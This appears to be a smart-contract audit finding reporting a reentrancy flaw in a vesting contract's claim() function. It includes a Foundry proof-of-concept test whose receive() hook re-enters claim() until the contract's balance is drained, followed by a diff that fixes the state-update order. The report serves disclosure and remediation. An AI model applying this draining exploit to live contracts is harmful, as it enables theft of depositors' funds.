Elegant Aquamarine Goblin

high

# Vesting.sol#claim() Reentrancy allows a malisious user to drain the contract

## Summary

## Vulnerability Detail
This function `claim()` allows users to claim vested tokens or BNB. There is a for loop, that starts with `s.index` and loops until `s.index` is less or equal to `vestingPoints.length - 1`. Each loop adds the user's claimable amount (if any) to the `pctAmount`.

```js 
uint256 i = s.index;
        for (i; i <= vestingPoints.length - 1; i++) {
            if (block.timestamp >= vestingPoints[i][0]) {
                pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;
            } else {
                break;
            }
        }
```
If `pctAmount` is other than 0, it is transferred to the user. If it is the native token, it is transferred by a low-level call.  The problem here is, the `s.index` is updated after the low-level call which allows reentrancy.
```js
        if (pctAmount != 0) {
            if (address(token) == address(1)) {
                (bool sent, ) = payable(sender).call{value: pctAmount}("");
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
            s.index = uint128(i);
            s.amountClaimed += pctAmount;
```
Since the `s.index` is not updated, the user can make his `receive` function call `claim()` and it will reenter it. This action will be repeated until the user drains the whole contract.

## Impact
A malicious user can drain the whole contract's amount.

## Proof Of Concept 
```js
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;

import "forge-std/Test.sol";
import "../contracts/Vesting.sol";
import "../contracts/VestingFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/console.sol";

contract VestingTest is Test {
     VestingFactory public factory;
     Vesting public vestingMaster;
     uint256 startingBalance;

    function setUp() public {
        vestingMaster = new Vesting();
        factory = new VestingFactory(address(vestingMaster));
        factory.setOperator(address(this));
        startingBalance = address(this).balance;
    }

    function testClaimReentrancy() public {
        uint128[2][] memory vestingPoints = _getVestingPoints();
        Vesting vestingContract = _deployVesting(address(0x1), address(this), vestingPoints);
        deal(address(vestingContract), 20 ether);

        address[] memory users = new address[](1);
        uint256[] memory amount = new uint256[](1);

        users[0] = address(this);
        amount[0] = 5 ether;

        vestingContract.updateUserDeposit(users, amount);
        vestingContract.claim();

        assertEq(address(this).balance, startingBalance + 20 ether);
        assertEq(address(vestingContract).balance, 0);
    }

    function _deployVesting(address _token, address _wallet, uint128[2][] memory _vestingPoints) internal returns (Vesting){
        factory.createVestingSchedule(address(0), IERC20(_token), _wallet, _vestingPoints);
        return Vesting(payable(0xffD4505B3452Dc22f8473616d50503bA9E1710Ac));
    }

    function _getVestingPoints() internal returns(uint128[2][] memory) {
        uint128[2][] memory vestingPoints = new uint128[2][](1);
        uint128[2] memory points;

        points[0] = uint128(block.timestamp);
        points[1] = 10000;

        vestingPoints[0] = points;

        return vestingPoints;
    } 

    receive() external payable {
        while (address(this).balance < startingBalance + 20 ether) {
            Vesting(msg.sender).claim();
        }
    }

```

## Code Snippet
https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/Vesting.sol#L67-L92

## Tool used

Manual Review

## Recommendation
````diff
 function claim() external {
        address sender = msg.sender;

        UserDetails storage s = userdetails[sender];
        require(s.userDeposit != 0, "No Deposit");
        require(s.index != vestingPoints.length, "already claimed");
        uint256 pctAmount;
        uint256 i = s.index;
        for (i; i <= vestingPoints.length - 1; i++) {
            if (block.timestamp >= vestingPoints[i][0]) {
                pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;
            } else {
                break;
            }
        }
+       s.index = uint128(i);
+       s.amountClaimed += pctAmount;
        if (pctAmount != 0) {
            if (address(token) == address(1)) {
                (bool sent, ) = payable(sender).call{value: pctAmount}("");
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
-            s.index = uint128(i);
-            s.amountClaimed += pctAmount;
        }
    }
```
